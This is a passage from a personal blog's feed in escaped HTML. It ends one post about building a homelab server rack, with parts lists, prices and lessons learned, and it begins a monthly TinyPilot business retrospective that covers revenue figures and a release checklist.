 srcset='https://mtlynch.io/building-first-homelab-rack/rack-side_hu_e85318b39000c7cf.webp 300w, https://mtlynch.io/building-first-homelab-rack/rack-side_hu_c964a856a40a3938.webp 600w, https://mtlynch.io/building-first-homelab-rack/rack-side_hu_289e03a87d79e2f7.webp 800w, https://mtlynch.io/building-first-homelab-rack/rack-side_hu_417ec68898e465d4.webp 1200w, https://mtlynch.io/building-first-homelab-rack/rack-side.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/rack-side.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Component&lt;/th>
 &lt;th>Choice&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;th>Satisfaction&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Server rack&lt;/td>
 &lt;td>&lt;a href="https://www.startech.com/en-us/server-management/4postrack18u">StarTech 4POSTRACK18U&lt;/a>&lt;/td>
 &lt;td>$316&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Network switch (managed)&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/tp-link-tl-sg3428x-24-x-rj45-4-x-sfp/p/0XP-0054-00091?Item=0XP-0054-00091&amp;amp;SoldByNewegg=1">TP-Link TL-SG3428X&lt;/a>&lt;/td>
 &lt;td>$299&lt;/td>
 &lt;td>C+&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Network switch (PoE, unmanaged)&lt;/td>
 &lt;td>&lt;a href="https://www.netgear.com/business/wired/switches/unmanaged/gs116lp/">Netgear GS116LP&lt;/a>&lt;/td>
 &lt;td>$139&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>UPS&lt;/td>
 &lt;td>&lt;a href="https://www.bhphotovideo.com/c/product/1709939-REG/cyberpower_cp1500pfcrm2u_cp15_1500va_100w_2u_rackmount.html">CyberPower CP1500PFCRM2U&lt;/a>&lt;/td>
 &lt;td>$335&lt;/td>
 &lt;td>A+&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Power strip&lt;/td>
 &lt;td>&lt;a href="https://www.newegg.com/black-tripp-lite-12-outlets-power-strip/p/N82E16812120265?Item=9SIAFVF75F0869">Tripp Lite RS-1215-RA&lt;/a>&lt;/td>
 &lt;td>$78&lt;/td>
 &lt;td>B+&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Rack shelves&lt;/td>
 &lt;td>&lt;a href="https://pyleusa.com/products/plrstn62u">Pyle PLRSTN62U 19&amp;quot; 2U&lt;/a>&lt;/td>
 &lt;td>$64&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Patch panel (24-port)&lt;/td>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B08LLDCRCV/ref=cm_sw_r_apan_glt_i_2AEKK799CAJQ591DCSWS?_encoding=UTF8&amp;amp;th=1">NewYork Cables 1U&lt;/a>&lt;/td>
 &lt;td>$19&lt;/td>
 &lt;td>B+&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Patch panel (16-port)&lt;/td>
 &lt;td>&lt;a href="https://tripplite.eaton.com/16-port-1u-rack-mount-unshielded-blank-keystone-multimedia-patch-panel~N062016KJ">Tripp Lite 1U&lt;/a>&lt;/td>
 &lt;td>$13&lt;/td>
 &lt;td>A&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Raspberry Pi rack mount&lt;/td>
 &lt;td>&lt;a href="https://www.uctronics.com/raspberry-pi/1u-rack-mount/raspberry-pi-4b-rack-mount-19-inch-1u-with-poe-and-oled-screen.html">UCTRONICS Ultimate Rack with PoE Functionality&lt;/a>&lt;/td>
 &lt;td>$190&lt;/td>
 &lt;td>C+&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total&lt;/strong>&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>$1,453&lt;/td>
 &lt;td>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>And here are the smaller items:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Component&lt;/th>
 &lt;th>Price&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B07TTKHG6T/">Cable Matters SFP+ to LC multimode fiber transceiver (2-pack)&lt;/a>&lt;/td>
 &lt;td>$40&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B075ZPGV1H">Cat6 keystone coupler (25-pack)&lt;/a>&lt;/td>
 &lt;td>$23&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B01B5AG0TI">Fiber LC coupler (5-pack)&lt;/a>&lt;/td>
 &lt;td>$19&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B07MVT1P2P/">12&amp;quot; Ethernet cables (10-pack)&lt;/a>&lt;/td>
 &lt;td>$19&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B00XIFJSEI">6&amp;quot; Ethernet cables (25-pack)&lt;/a>&lt;/td>
 &lt;td>$34&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B00U7UP1UM/">16&amp;rsquo; fiber LC mulitmode cable&lt;/a>&lt;/td>
 &lt;td>$14&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B00T5796DQ/">3&amp;rsquo; fiber LC multimode cable&lt;/a>&lt;/td>
 &lt;td>$10&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/dp/B08MCPBCFD">8&amp;quot; fiber LC mulitmode patch cables (5-pack)&lt;/a>&lt;/td>
 &lt;td>$30&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://www.amazon.com/gp/product/B0060RUVDS/">NavePoint M6 cage nuts&lt;/a>&lt;/td>
 &lt;td>$16&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="next-steps-in-my-rack">Next steps in my rack&lt;/h2>
&lt;h3 id="rack-mounted-server">Rack-mounted server&lt;/h3>
&lt;p>You may have noticed that my server rack is conspicuously missing one common component: a server.&lt;/p>
&lt;p>I still have my pre-rack VM and storage servers. I&amp;rsquo;ll migrate them to rack-mounted chassis the next time I do some upgrades, but I&amp;rsquo;ve punted that task since building the rack was a significant enough project on its own.&lt;/p>
&lt;h3 id="are-there-hats-for-my-rack">Are there hats for my rack?&lt;/h3>
&lt;p>One of the things I&amp;rsquo;ve been searching for without success is a &amp;ldquo;hat&amp;rdquo; for my rack. The top of my rack is just open space.&lt;/p>
&lt;p>I&amp;rsquo;d love to find a top that fits securely into the open space on top of my rack and lets me store things on it.&lt;/p>
&lt;p>If you know a solution to this, let me know.&lt;/p>
&lt;h2 id="avoiding-mistakes-i-made">Avoiding mistakes I made&lt;/h2>
&lt;h3 id="test-the-ups-before-mounting-it">Test the UPS before mounting it&lt;/h3>
&lt;p>The UPS was, by far, the most difficult component to mount in the rack. I don&amp;rsquo;t understand how people do it. It&amp;rsquo;s about half the size of a window air conditioner, but to install it, you need one hand holding it perfectly level and another hand screwing it in. I eventually decided it was a two-person job and called my wife in for reinforcements.&lt;/p>
&lt;p>You don&amp;rsquo;t want to go through all the work of mounting a heavy UPS only to discover that it&amp;rsquo;s unbearably loud. Or it could just be a dead device, and you don&amp;rsquo;t want to find that out after you mount it.&lt;/p>
&lt;h3 id="check-ups-reviews-for-noise-complaints">Check UPS reviews for noise complaints&lt;/h3>
&lt;p>Some UPS devices are totally silent, and some produce constant noise. If the UPS will be anywhere near you, take noise into consideration.&lt;/p>
&lt;h3 id="check-return-policies">Check return policies&lt;/h3>
&lt;p>I&amp;rsquo;d never seen anything on Newegg before that was replacement-only, so I took it for granted that I&amp;rsquo;d be able to return my UPS if I didn&amp;rsquo;t like it.&lt;/p>
&lt;p>Luckily, Newegg customer service was helpful and accepted the return for a refund, but I&amp;rsquo;ll check proactively in the future.&lt;/p>
&lt;h3 id="get-a-poe-enabled-switch-if-you-have-any-poe-components">Get a PoE-enabled switch if you have any PoE components&lt;/h3>
&lt;p>Currently, I have 2U of network switches and 2U of patch panels, and I&amp;rsquo;m only using 11 of the 44 ports.&lt;/p>
&lt;p>I regret not looking around more for a managed switch that supported PoE while still offering quiet operation. My ideal would be to have a fanless managed switch where at least eight of the ports have PoE and at least three have 10 Gbps speeds.&lt;/p>
&lt;h3 id="cage-nuts-arent-supposed-to-hurt">Cage nuts aren&amp;rsquo;t supposed to hurt&lt;/h3>
&lt;p>When you install components into your rack, you secure it to your rack using a cage screw and cage nut.&lt;/p>
&lt;p>I thought cage nuts worked like all other nuts I&amp;rsquo;ve ever encountered — I hold them behind the thing I&amp;rsquo;m screwing into and then tighten the screw into the nut.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong_hu_33c652c32854825.webp 300w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong_hu_9c68da5351902788.webp 600w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong_hu_e3ca4575bd122cad.webp 800w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong_hu_f0eecc914328de15.webp 1200w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/cage-nuts-wrong.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>How I was incorrectly installing cage nuts&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After installing about eight cage nuts, I cursed the stupidity of whoever decided to put sharp corners on a thing that required me to squeeze it between my fingertips. And then I realized I might be doing something wrong.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Tip&lt;/strong>: If you find yourself exerting a lot of force or feeling physical pain while building computer hardware, you&amp;rsquo;re probably doing something wrong. Server equipment is designed so that middle-aged, out-of-shape IT people can use it, so you don&amp;rsquo;t need peak physical fitness.
&lt;/div>

&lt;p>Cage nuts have a clever design in that they clip into the rack. That way, you don&amp;rsquo;t have to hold the nut in place when screwing the component into your rack.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/cage-nuts-right.webp">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/cage-nuts-right_hu_666f9e8cf343199c.webp 300w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-right_hu_fa8ecdce0e6cf3ea.webp 600w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-right_hu_ab0436575344633d.webp 800w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-right_hu_dc514f4bcf0429ef.webp 1200w, https://mtlynch.io/building-first-homelab-rack/cage-nuts-right.webp 1600w'
 src="https://mtlynch.io/building-first-homelab-rack/cage-nuts-right.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>The correct way to install cage nuts is to let them clip in from behind the hole in the rack post.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="dont-install-patch-keys-backward">Don&amp;rsquo;t install patch keys backward&lt;/h3>
&lt;p>I&amp;rsquo;m going to sound like a moron here, but I installed my patch panel keys incorrectly twice before I realized how to do it correctly.&lt;/p>
&lt;p>Now that I&amp;rsquo;ve seen the right way, what I thought was correct before looks absurd, but it&amp;rsquo;s my first rack!&lt;/p>
&lt;p>So, my first attempt was like this:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/key-wrong.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/key-wrong_hu_f21210d299b0e73b.webp 300w, https://mtlynch.io/building-first-homelab-rack/key-wrong_hu_a47449b988f73b85.webp 600w, https://mtlynch.io/building-first-homelab-rack/key-wrong_hu_3e43c31b1b88f766.webp 800w, https://mtlynch.io/building-first-homelab-rack/key-wrong_hu_218519724ce2062c.webp 1200w, https://mtlynch.io/building-first-homelab-rack/key-wrong.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/key-wrong.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>It fit snugly, and it was easy to plug Ethernet cables into it, so I thought that was right. But almost every time I removed an Ethernet cable, the patch key popped out with it.&lt;/p>
&lt;p>&amp;ldquo;I must have done this backward,&amp;rdquo; I thought. So I plugged the keys in from the rear. It was tougher to get them in, but they stayed in place better.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 398px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/still-wrong1.webp">
 &lt;img
 
 sizes="(min-width: 768px) 398px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/still-wrong1_hu_a5407e5834904749.webp 300w, https://mtlynch.io/building-first-homelab-rack/still-wrong1_hu_8ec0c344e537fcd8.webp 600w, https://mtlynch.io/building-first-homelab-rack/still-wrong1_hu_c35bde6bc4074b40.webp 800w, https://mtlynch.io/building-first-homelab-rack/still-wrong1_hu_cfcfe9ce99c6ffa7.webp 1200w, https://mtlynch.io/building-first-homelab-rack/still-wrong1.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/still-wrong1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 360px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/still-wrong2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 360px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/still-wrong2_hu_7b31fb69945fb1be.webp 300w, https://mtlynch.io/building-first-homelab-rack/still-wrong2_hu_1acdf58cf1520686.webp 600w, https://mtlynch.io/building-first-homelab-rack/still-wrong2_hu_205355f394b0e193.webp 800w, https://mtlynch.io/building-first-homelab-rack/still-wrong2_hu_d9171ea4f8815bdc.webp 1200w, https://mtlynch.io/building-first-homelab-rack/still-wrong2.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/still-wrong2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Embarrassingly, I thought this was how RJ45 patch keys were supposed to work for about six months.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>I had them like this for six months!&lt;/p>
&lt;p>It wasn&amp;rsquo;t until I bought my second patch panel and experimented with the keys that I realized there was a different method.&lt;/p>
&lt;p>It turns out that the little notch on the top isn&amp;rsquo;t for decoration. You&amp;rsquo;ll hear a little click when the notch clicks into the correct position. The front face should be roughly flush with the front of the patch panel.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 380px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1.webp">
 &lt;img
 
 sizes="(min-width: 768px) 380px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1_hu_6fe014d305682d48.webp 300w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1_hu_c19ccc3773e48e6b.webp 600w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1_hu_5ca25e47a6f0af77.webp 800w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1_hu_3313b76cd1af11b8.webp 1200w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-1.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 380px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2.webp">
 &lt;img
 
 sizes="(min-width: 768px) 380px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2_hu_35f74cb7a5a78c36.webp 300w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2_hu_b7d0720c8899cacd.webp 600w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2_hu_740b18f1e89fc3e6.webp 800w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2_hu_2d49c698dd9c3e97.webp 1200w, https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2.webp 1200w'
 src="https://mtlynch.io/building-first-homelab-rack/patch-panel-correct-2.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Patch keys should be flush with the face of the patch panel, and their tabs click into place in the rear.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h3 id="if-the-motherboard-doesnt-detect-a-10g-nic-try-a-different-pci-slot">If the motherboard doesn&amp;rsquo;t detect a 10G NIC, try a different PCI slot&lt;/h3>
&lt;p>When I installed my Mellanox 10G NIC into my desktop, Windows didn&amp;rsquo;t detect it at all. I tried re-seating it, and I saw the same results. I tried downloading the latest drivers, but Windows didn&amp;rsquo;t show the NIC in Device Manager.&lt;/p>
&lt;p>Finally, I stumbled across a forum post where someone reported that their Mellanox card worked when they switched it to a different PCI slot. I tried a different PCI slot on my motherboard, and voila! It worked perfectly.&lt;/p>
&lt;p>I still don&amp;rsquo;t understand why the PCI slot mattered. According to my motherboard&amp;rsquo;s documentation, the two PCI slots are supposed to be identical, but one worked, and the other didn&amp;rsquo;t.&lt;/p>
&lt;h3 id="dont-mix-sfp-multimode-and-single-mode-fiber-cables">Don&amp;rsquo;t mix SFP+ multimode and single mode fiber cables&lt;/h3>
&lt;p>The first day that I installed my Mellanox NIC on my Windows desktop, everything worked fine.&lt;/p>
&lt;p>After about 24 hours, my desktop&amp;rsquo;s Ethernet connection suddenly began disconnecting and reconnecting every few seconds. I rebooted, and the problem went away.&lt;/p>
&lt;p>A day later, the problem came back. I tried connecting the cable from my desktop directly to the switch, skipping the patch panel. That fixed the issue, which narrowed the problem to either the patch cable or the patch panel key.&lt;/p>
&lt;p>Finally, I spotted it: my patch cables were single mode, whereas the rest of my system was multimode. I didn&amp;rsquo;t even know there were different &amp;ldquo;modes&amp;rdquo; of fiber cables, but &lt;a href="https://community.fs.com/article/single-mode-cabling-cost-vs-multimode-cabling-cost.html">apparently there are&lt;/a>, and they don&amp;rsquo;t get along.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/building-first-homelab-rack/single-mode-multi-mode.webp">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/building-first-homelab-rack/single-mode-multi-mode_hu_3593024e5e58c4fa.webp 300w, https://mtlynch.io/building-first-homelab-rack/single-mode-multi-mode_hu_cf088fe01412ad79.webp 600w, https://mtlynch.io/building-first-homelab-rack/single-mode-multi-mode_hu_796cd861871aa380.webp 800w, https://mtlynch.io/building-first-homelab-rack/single-mode-multi-mode.webp 900w'
 src="https://mtlynch.io/building-first-homelab-rack/single-mode-multi-mode.webp" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>My network connection went into a reset loop every 24 hours because I accidentally used multimode patch cables in a single mode fiber system.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I bought a new set of multimode fiber cables, and the problem went away. Unfortunately, I discovered the problem three days after the return window for my $70 box of single mode fiber cables had closed.&lt;/p>
&lt;h3 id="consider-used-equipment">Consider used equipment&lt;/h3>
&lt;p>One blind spot in this guide is that I didn&amp;rsquo;t explore used equipment aside from the 10G NICs.&lt;/p>
&lt;p>It wasn&amp;rsquo;t exactly a &amp;ldquo;mistake&amp;rdquo; to buy new equipment, as I did it consciously and am happy with the choice. I optimized for time over money, and it was faster for me to search for components at retailers like Newegg rather than on marketplaces for used equipment like eBay, Facebook, or craigslist.&lt;/p>
&lt;p>If you&amp;rsquo;re willing to invest a bit more time, you can dramatically reduce the cost of your rack by finding used equipment.&lt;/p>
&lt;h2 id="my-life-with-a-rack">My life with a rack&lt;/h2>
&lt;p>I&amp;rsquo;m happy with my new rack and have no regrets about the investment. It definitely beats my old setup of having bits and pieces of infrastructure scattered around my office.&lt;/p>
&lt;p>Now, everything lives in one efficient, organized location. When people visit my house, I look like a quirky nerd rather than a weird slob with cables everywhere.&lt;/p>
&lt;p>I underestimated how nice it would be to have my TinyPilot physically close to all of my devices (disclosure again: TinyPilot is a product I created). Before the rack, I used to keep my TinyPilot on the floor next to my desk. There was a lot of friction in using it to fix server issues: I had to shut down the TinyPilot, disconnect a bunch of wires, reconnect it on the other side of the room, then undo everything after I was done.&lt;/p>
&lt;p>With everything now physically adjacent, it&amp;rsquo;s easy for me to quickly plug TinyPilot in to any misbehaving device for low-level access. It came in handy for things like figuring out &lt;a href="https://mtlynch.io/nixos-pi4/">how to install NixOS on a Raspberry Pi&lt;/a> and upgrading my VM server to the latest version of Proxmox.&lt;/p></content:encoded></item><item><title>TinyPilot: Month 44</title><link>https://mtlynch.io/retrospectives/2024/03/</link><pubDate>Tue, 19 Mar 2024 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2024/03/</guid><description>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>We completed the first-ever TinyPilot release where I didn&amp;rsquo;t perform any release task directly.&lt;/li>
&lt;li>Publishing a release through delegation helped identify many undocumented or poorly conceived steps in our release process.&lt;/li>
&lt;li>I&amp;rsquo;m continuing to enjoy writing a bytecode interpreter in Zig.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p></description><content:encoded>&lt;div class="notice notice-info">
 &lt;p>&lt;strong>New here?&lt;/strong>&lt;/p>
&lt;p>Hi, I&amp;rsquo;m Michael. I&amp;rsquo;m a software developer and the founder of &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>, an independent computer hardware company. I started the company in 2020, and it now earns $80-100k/month in revenue and employs six other people.&lt;/p>
&lt;p>Every month, I publish a retrospective like this one to share how things are going with my business and my professional life overall.&lt;/p>

&lt;/div>

&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>We completed the first-ever TinyPilot release where I didn&amp;rsquo;t perform any release task directly.&lt;/li>
&lt;li>Publishing a release through delegation helped identify many undocumented or poorly conceived steps in our release process.&lt;/li>
&lt;li>I&amp;rsquo;m continuing to enjoy writing a bytecode interpreter in Zig.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-tinypilot-pro-263">Publish TinyPilot Pro 2.6.3&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We published the release.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>We were trying to expose any release steps that were accidentally silo&amp;rsquo;ed with me, so this was the first release where I didn&amp;rsquo;t perform any release steps directly. The team performed every step based on shared documentation, including things like writing &lt;a href="https://tinypilotkvm.com/pro/changes#263">the changelist&lt;/a> and the release announcement.&lt;/p>
&lt;h3 id="document-tinypilot-pros-release-process-internally">Document TinyPilot Pro&amp;rsquo;s release process internally&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: I documented enough to cover the release, but there are still areas to improve.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B+&lt;/li>
&lt;/ul>
&lt;p>Documenting the release process was a great exercise. It exposed not only undocumented processes but also weaknesses in our process.&lt;/p>
&lt;p>There were many parts to our release process that we hadn&amp;rsquo;t examined critically. When I sat down to document them, I found several steps that were unnecessarily labor-intensive, error-prone, or reinvented the wheel.&lt;/p>
&lt;h3 id="file-2023-taxes">File 2023 taxes&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Gathered most documents, but I haven&amp;rsquo;t filed yet.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I ended up getting sidetracked by the TinyPilot release, so I haven&amp;rsquo;t filed yet. Still, I think the government would appreciate me filing at some point this year, so I should probably do that.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>January 2024&lt;/th>
 &lt;th>February 2024&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,800&lt;/td>
 &lt;td>13,000&lt;/td>
 &lt;td>&lt;font color="green">+5,200 (+67%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$100,008.98&lt;/td>
 &lt;td>$82,517.42&lt;/td>
 &lt;td>&lt;font color="red">-$17,491.56 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>$290.70&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$3,313.11&lt;/td>
 &lt;td>$3,373.65&lt;/td>
 &lt;td>&lt;font color="green">+$60.54 (+2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$103,612.79&lt;/td>
 &lt;td>$86,181.77&lt;/td>
 &lt;td>&lt;font color="red">-$17,431.02 (-17%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$79,764.14&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$24,199.09&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$55,565.05 (-70%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>We saw a big surge in visitors due to the attention &lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">my annual review&lt;/a> generated, but it didn&amp;rsquo;t seem to impact TinyPilot sales much. There was a 17% drop in sales, but that&amp;rsquo;s mainly due to January being an atypically strong month. $75-95k/month in sales is our typical range.&lt;/p>
&lt;p>I need a new way to report monthly profit because switching to the contract manufacturer has made our cash profit numbers basically meaningless at the one-month resolution. Our profit each month is dominated by the timing of manufacturing bills I pay every three to four months.&lt;/p>
&lt;p>That said, our three-month trailing average profit is back in the $10-20k range I like to see.&lt;/p>
&lt;h2 id="it-turns-out-we-have-a-25-step-release-process">It turns out we have a 25-step release process&lt;/h2>
&lt;p>Originally, TinyPilot software releases were entirely my job. As the product matured and we added more steps to the process, releases grew to be 10-20 hours of work.&lt;/p>
&lt;p>About 18 months in, I delegated the hardest release tasks to my teammates. That included most of the manual testing. That cut my time down to three to five hours per release, and I felt like I&amp;rsquo;d done a good job delegating.&lt;/p>
&lt;p>For the last TinyPilot release, I challenged myself to delegate &lt;em>everything&lt;/em>. I wanted to make sure releases could move forward at times when I&amp;rsquo;m not available.&lt;/p>
&lt;p>I started writing instructions for the tasks I still owned, expecting to document just a handful of steps.&lt;/p>
&lt;p>When I enumerated everything I was still doing every release, I realized we had 25 distinct tasks as part of every release:&lt;/p>
&lt;blockquote>
&lt;h3 id="testing-a-release-candidate">Testing a release candidate&lt;/h3>
&lt;ol>
&lt;li>Create a release candidate build&lt;/li>
&lt;li>Draft the changelog&lt;/li>
&lt;li>Draft security advisories (if applicable)&lt;/li>
&lt;li>Draft the release announcement&lt;/li>
&lt;li>Update the test plan to cover any feature changes&lt;/li>
&lt;li>Test release candidate on a Voyager device&lt;/li>
&lt;li>Test updating from a released build to the release candidate&lt;/li>
&lt;li>Test release candidate on a DIY device&lt;/li>
&lt;li>Run automated end-to-end tests against a physical device&lt;/li>
&lt;li>Review test results&lt;/li>
&lt;li>Decide whether to publish the release&lt;/li>
&lt;/ol>
